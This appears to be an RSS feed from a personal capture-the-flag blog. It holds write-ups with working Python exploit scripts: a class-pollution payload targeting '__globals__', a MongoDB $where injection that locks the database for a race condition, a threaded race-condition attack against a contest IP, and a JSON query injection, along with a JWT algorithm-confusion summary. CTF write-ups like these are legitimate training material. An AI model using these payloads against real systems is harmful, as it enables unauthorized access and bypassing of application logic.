&lt;span style="color:#e6db74"&gt;&amp;#34;rating&amp;#34;&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;referred&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;asdf&amp;#34;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#39;__class__&amp;#39;&lt;/span&gt;:{&lt;span style="color:#e6db74"&gt;&amp;#39;__init__&amp;#39;&lt;/span&gt;:{&lt;span style="color:#e6db74"&gt;&amp;#39;__globals__&amp;#39;&lt;/span&gt;:{&lt;span style="color:#e6db74"&gt;&amp;#39;flag&amp;#39;&lt;/span&gt;:&lt;span style="color:#e6db74"&gt;&amp;#39;true&amp;#39;&lt;/span&gt;}}}}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# login&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;s&lt;span style="color:#f92672"&gt;.&lt;/span&gt;post(&lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;url&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/login&amp;#34;&lt;/span&gt;, data&lt;span style="color:#f92672"&gt;=&lt;/span&gt;{&lt;span style="color:#e6db74"&gt;&amp;#34;username&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;whguswo&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;password&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;whguswo&amp;#34;&lt;/span&gt;})&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# exploit&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;res &lt;span style="color:#f92672"&gt;=&lt;/span&gt; s&lt;span style="color:#f92672"&gt;.&lt;/span&gt;post(&lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;url&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/save_feedback&amp;#34;&lt;/span&gt;, json&lt;span style="color:#f92672"&gt;=&lt;/span&gt;payload)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;print(res&lt;span style="color:#f92672"&gt;.&lt;/span&gt;text)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="webi-am-confusion"&gt;web/i am confusion&lt;/h3&gt;&#10;&lt;h4 id="desc-2"&gt;Desc&lt;/h4&gt;&#10;&lt;p&gt;JWT confusion Attack And Re-sign your JWT&lt;br&gt;&#10;&lt;a href="https://portswigger.net/web-security/jwt/algorithm-confusion"&gt;Portswigger - JWT Confusion&lt;/a&gt;&lt;/p&gt;</description></item><item><title>JWT Confusion</title><link>https://whguswo.github.io/posts/jwt-confusion/</link><pubDate>Sun, 14 Jul 2024 00:00:00 +0900</pubDate><guid>https://whguswo.github.io/posts/jwt-confusion/</guid><description>&lt;h2 id="refer"&gt;Refer&lt;/h2&gt;&#10;&lt;p&gt;&lt;a href="https://portswigger.net/web-security/jwt/algorithm-confusion#deriving-public-keys-from-existing-tokens"&gt;Portswigger Document&lt;/a&gt;&lt;br&gt;&#10;&lt;a href="https://velog.io/@thelm3716/JWTvul#%F0%9F%A9%B8-exploitation-2"&gt;JWT vulnerability🩸&lt;/a&gt;&lt;/p&gt;&#10;&lt;h2 id="info"&gt;Info&lt;/h2&gt;&#10;&lt;p&gt;This Problem is JWT confusion.&lt;/p&gt;&#10;&lt;p&gt;RS256 uses an asymmetric key, a private key for generation, and a public key for verification.&lt;/p&gt;&#10;&lt;p&gt;HS256 uses public keys for both token creation and verification. By using the difference between the two, authentication can be bypassed by extracting the public key of RS256 and creating a token with HS256 when verifying both methods.&lt;/p&gt;&#10;&lt;p&gt;Key extract : &lt;a href="https://github.com/silentsignal/rsa_sign2n/tree/release/standalone"&gt;https://github.com/silentsignal/rsa_sign2n/tree/release/standalone&lt;/a&gt;&lt;/p&gt;&#10;&lt;h2 id="exploit"&gt;Exploit&lt;/h2&gt;&#10;&lt;p&gt;After Extract key, you can sign JWT as You Want.&lt;/p&gt;</description></item><item><title>MongoDB Race Condition payload</title><link>https://whguswo.github.io/posts/2024-01-30-mongodb-race-condition/</link><pubDate>Tue, 30 Jan 2024 00:00:00 +0900</pubDate><guid>https://whguswo.github.io/posts/2024-01-30-mongodb-race-condition/</guid><description>&lt;h2 id="information"&gt;Information&lt;/h2&gt;&#10;&lt;p&gt;Target: &lt;code&gt;MongoDB&lt;/code&gt;&lt;br&gt;&#10;Vulnerability: &lt;code&gt;Race Condition&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="desc"&gt;Desc&lt;/h2&gt;&#10;&lt;p&gt;MongoDB Race Condition Attack with db lock.&lt;/p&gt;&#10;&lt;h2 id="example"&gt;Example&lt;/h2&gt;&#10;&lt;h3 id="code"&gt;Code&lt;/h3&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// admin.controller.ts&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;@&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;Post&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;list&amp;#39;&lt;/span&gt;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;async&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;getFlagList&lt;/span&gt;(&lt;span style="color:#960050;background-color:#1e0010"&gt;@&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;Body&lt;/span&gt;() &lt;span style="color:#a6e22e"&gt;listDto&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ListDto&lt;/span&gt;)&lt;span style="color:#f92672"&gt;:&lt;/span&gt; Promise&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;FlagDocument&lt;/span&gt;[]&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&#9;&lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;adminService&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;getFlagList&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;listDto&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;username&lt;/span&gt;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="exploit"&gt;Exploit&lt;/h3&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; threading&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; json&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Logic Vulnerability - Database Lock&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;lock&lt;/span&gt;():&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; res &lt;span style="color:#f92672"&gt;=&lt;/span&gt; requests&lt;span style="color:#f92672"&gt;.&lt;/span&gt;post(&lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;url&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/admin/list&amp;#34;&lt;/span&gt;, headers&lt;span style="color:#f92672"&gt;=&lt;/span&gt;auth,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; json&lt;span style="color:#f92672"&gt;=&lt;/span&gt;{&lt;span style="color:#e6db74"&gt;&amp;#34;username&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#39;&amp;#39;admin&amp;#34;, &amp;#34;$or&amp;#34;: [{&amp;#34;dummy&amp;#34;: &amp;#34;dummy&amp;#34;},{&amp;#34;$where&amp;#34;: &amp;#34;date=new Date();do{cur=new Date();}while(cur-date&amp;lt;5000) + 1 || true&amp;#34;}], &amp;#34;&amp;#34;:&amp;#34;&amp;#39;&amp;#39;&amp;#39;&lt;/span&gt;})&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(res&lt;span style="color:#f92672"&gt;.&lt;/span&gt;text)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;threads &lt;span style="color:#f92672"&gt;=&lt;/span&gt; []&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; i &lt;span style="color:#f92672"&gt;in&lt;/span&gt; range(&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; thread &lt;span style="color:#f92672"&gt;=&lt;/span&gt; threading&lt;span style="color:#f92672"&gt;.&lt;/span&gt;Thread(target&lt;span style="color:#f92672"&gt;=&lt;/span&gt;lock)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; threads&lt;span style="color:#f92672"&gt;.&lt;/span&gt;append(thread)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; thread&lt;span style="color:#f92672"&gt;.&lt;/span&gt;start()&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It takes a long time to count the number of existing documents in the DB, so logic such as number restrictions can be bypassed.&lt;/p&gt;</description></item><item><title>Whitehat Contest 2023</title><link>https://whguswo.github.io/posts/2023-10-30-whitehat-contest-2023/</link><pubDate>Mon, 30 Oct 2023 00:00:00 +0900</pubDate><guid>https://whguswo.github.io/posts/2023-10-30-whitehat-contest-2023/</guid><description>&lt;h2 id="information"&gt;Information&lt;/h2&gt;&#10;&lt;p&gt;Team name: &lt;code&gt;YouAreMyUniverse&lt;/code&gt;&lt;br&gt;&#10;Rank: &lt;code&gt;3rd place&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="write-up"&gt;Write up&lt;/h2&gt;&#10;&lt;h3 id="webatten-dance"&gt;web/atten-dance&lt;/h3&gt;&#10;&lt;h4 id="desc"&gt;Desc&lt;/h4&gt;&#10;&lt;p&gt;Get first flag with race condition attack,&lt;br&gt;&#10;Get second flag with sql injection ( &lt;code&gt;Json injection&lt;/code&gt; )&lt;/p&gt;&#10;&lt;h4 id="exploit"&gt;Exploit&lt;/h4&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; requests&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; threading&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; time&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;url &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;http://13.209.18.49:3000&amp;#39;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Flag 1&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;requests&lt;span style="color:#f92672"&gt;.&lt;/span&gt;get(&lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;url&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/join&amp;#34;&lt;/span&gt;, params&lt;span style="color:#f92672"&gt;=&lt;/span&gt;{&lt;span style="color:#e6db74"&gt;&amp;#34;username&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;dummy&amp;#34;&lt;/span&gt;})&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;time&lt;span style="color:#f92672"&gt;.&lt;/span&gt;sleep(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;worker&lt;/span&gt;(thread_num):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; requests&lt;span style="color:#f92672"&gt;.&lt;/span&gt;get(&lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;url&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/check&amp;#34;&lt;/span&gt;, params&lt;span style="color:#f92672"&gt;=&lt;/span&gt;{&lt;span style="color:#e6db74"&gt;&amp;#34;username&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;dummy&amp;#34;&lt;/span&gt;})&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;threads &lt;span style="color:#f92672"&gt;=&lt;/span&gt; []&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; i &lt;span style="color:#f92672"&gt;in&lt;/span&gt; range(&lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; thread &lt;span style="color:#f92672"&gt;=&lt;/span&gt; threading&lt;span style="color:#f92672"&gt;.&lt;/span&gt;Thread(target&lt;span style="color:#f92672"&gt;=&lt;/span&gt;worker, args&lt;span style="color:#f92672"&gt;=&lt;/span&gt;(i,))&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; threads&lt;span style="color:#f92672"&gt;.&lt;/span&gt;append(thread)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; thread&lt;span style="color:#f92672"&gt;.&lt;/span&gt;start()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;res &lt;span style="color:#f92672"&gt;=&lt;/span&gt; requests&lt;span style="color:#f92672"&gt;.&lt;/span&gt;get(&lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;url&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/claim&amp;#34;&lt;/span&gt;, params&lt;span style="color:#f92672"&gt;=&lt;/span&gt;{&lt;span style="color:#e6db74"&gt;&amp;#34;username&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;dummy&amp;#34;&lt;/span&gt;})&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;print(res&lt;span style="color:#f92672"&gt;.&lt;/span&gt;text)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Flag2&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;res &lt;span style="color:#f92672"&gt;=&lt;/span&gt; requests&lt;span style="color:#f92672"&gt;.&lt;/span&gt;post(&lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;url&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/del&amp;#34;&lt;/span&gt;, json&lt;span style="color:#f92672"&gt;=&lt;/span&gt;{&lt;span style="color:#e6db74"&gt;&amp;#34;username&amp;#34;&lt;/span&gt;: {&lt;span style="color:#e6db74"&gt;&amp;#34;contains&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;a&amp;#34;&lt;/span&gt;}})&#10;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;print(res&lt;span style="color:#f92672"&gt;.&lt;/span&gt;text)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="weboshinolist"&gt;web/oshinolist&lt;/h3&gt;&#10;&lt;h4 id="desc-1"&gt;Desc&lt;/h4&gt;&#10;&lt;p&gt;XSS with eval&lt;/p&gt;</description></item><item><title>About</title><link>https://whguswo.github.io/about/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://whguswo.github.io/about/</guid><description>&lt;p&gt;&lt;strong&gt;whguswo&lt;/strong&gt; (a.k.a. &lt;strong&gt;Little Stranger&lt;/strong&gt;)&lt;/p&gt;&#10;&lt;h2 id="work-experience"&gt;Work Experience&lt;/h2&gt;&#10;&lt;p&gt;Researcher - &lt;a href="https://www.enki.co.kr/"&gt;ENKI WhiteHat&lt;/a&gt; (2024.11 – 2026.03)&lt;/p&gt;&#10;&lt;h2 id="specialty"&gt;Specialty&lt;/h2&gt;&#10;&lt;p&gt;Web Dev &amp;amp; Hacking&lt;/p&gt;&#10;&lt;h2 id="teams"&gt;Teams&lt;/h2&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;2022 - 2024 Trust (KDMHS)&lt;/li&gt;&#10;&lt;li&gt;2024 - 2025 DeadSec&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2 id="achievement"&gt;Achievement&lt;/h2&gt;&#10;&lt;p&gt;&lt;strong&gt;Hacking&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;2nd, WACON 2022&lt;/li&gt;&#10;&lt;li&gt;Finalist, CCE 2023&lt;/li&gt;&#10;&lt;li&gt;Finalist, WACON 2023&lt;/li&gt;&#10;&lt;li&gt;3rd, WhiteHat Contest 2023&lt;/li&gt;&#10;&lt;li&gt;13th, SECCON CTF 13 Quals (Team: Odin)&lt;/li&gt;&#10;&lt;li&gt;3rd, LINE CTF 2025 Quals (Team: Odin)&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;Dev&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Finalist, Junction Asia 2023&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2 id="authored-ctf"&gt;Authored CTF&lt;/h2&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;DIMI CTF 2023&lt;/li&gt;&#10;&lt;li&gt;Dreamhack X-mas CTF 2023&lt;/li&gt;&#10;&lt;li&gt;DeadSec CTF 2024&lt;/li&gt;&#10;&lt;li&gt;CODEGATE 2025 Final&lt;/li&gt;&#10;&lt;li&gt;HACKSIUM BUSAN 2025&lt;/li&gt;&#10;&lt;li&gt;Cyber Conflict Exercise 2025&lt;/li&gt;&#10;&lt;li&gt;WhiteHat Contest 2025&lt;/li&gt;&#10;&lt;/ul&gt;</description></item></channel></rss>